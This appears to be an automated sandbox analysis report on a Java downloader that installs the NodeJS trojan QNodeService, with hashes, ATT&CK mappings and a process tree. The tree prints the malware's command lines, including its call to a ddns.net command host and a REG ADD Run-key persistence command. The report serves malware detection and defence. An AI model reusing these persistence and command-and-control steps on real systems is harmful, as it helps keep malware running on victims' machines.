qnodeservice | 8e51f941e056b959365021f58210ed34dbadab3890b95090987db6f87ba6ff58

General

Target

R.F.Q.jar
Size

95KB
MD5

75fe28262beff3cba941aa30438c2efb
SHA1

656b9cfaf5dfee343e476b47950243ce60c5751f
SHA256

8e51f941e056b959365021f58210ed34dbadab3890b95090987db6f87ba6ff58
SHA512

4873383f9aef1086a186681f2a2c6ea23be8f7e0573522fde786c2355068ff62801068977f970186628fbb6be8df6f46a627b67553c646c85c35d82c66dba0a9

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1892	node.exe
3160	node.exe
3116	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\6cc9ff5b-b3db-47d0-a662-30f79e2fd723 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab6c-170.dat	js
behavioral2/files/0x000100000001ab6c-173.dat	js
behavioral2/files/0x000100000001ab6c-177.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1892	node.exe
1892	node.exe
1892	node.exe
1892	node.exe
3160	node.exe
3160	node.exe
3160	node.exe
3160	node.exe
3116	node.exe
3116	node.exe
3116	node.exe
3116	node.exe
3116	node.exe
3116	node.exe
3116	node.exe
3116	node.exe
3116	node.exe
3116	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4040 wrote to memory of 1516	4040	java.exe	76
PID 4040 wrote to memory of 1516	4040	java.exe	76
PID 1516 wrote to memory of 1892	1516	javaw.exe	80
PID 1516 wrote to memory of 1892	1516	javaw.exe	80
PID 1892 wrote to memory of 3160	1892	node.exe	82
PID 1892 wrote to memory of 3160	1892	node.exe	82
PID 3160 wrote to memory of 3116	3160	node.exe	83
PID 3160 wrote to memory of 3116	3160	node.exe	83
PID 3116 wrote to memory of 3608	3116	node.exe	85
PID 3116 wrote to memory of 3608	3116	node.exe	85
PID 3608 wrote to memory of 2688	3608	cmd.exe	86
PID 3608 wrote to memory of 2688	3608	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\R.F.Q.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:4040
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\66c1a25a.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1516
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain stuttpolescoza.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1892
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_savAXz\boot.js --hub-domain stuttpolescoza.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3160
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_savAXz\boot.js --hub-domain stuttpolescoza.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3116
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "6cc9ff5b-b3db-47d0-a662-30f79e2fd723" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3608
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "6cc9ff5b-b3db-47d0-a662-30f79e2fd723" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2688

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1892-171-0x0000000023F80000-0x0000000023F81000-memory.dmp

Filesize
4KB

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memory/3116-178-0x0000005970780000-0x0000005970781000-memory.dmp

Filesize
4KB

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memory/3160-174-0x000001A2ECD40000-0x000001A2ECD41000-memory.dmp

Filesize
4KB

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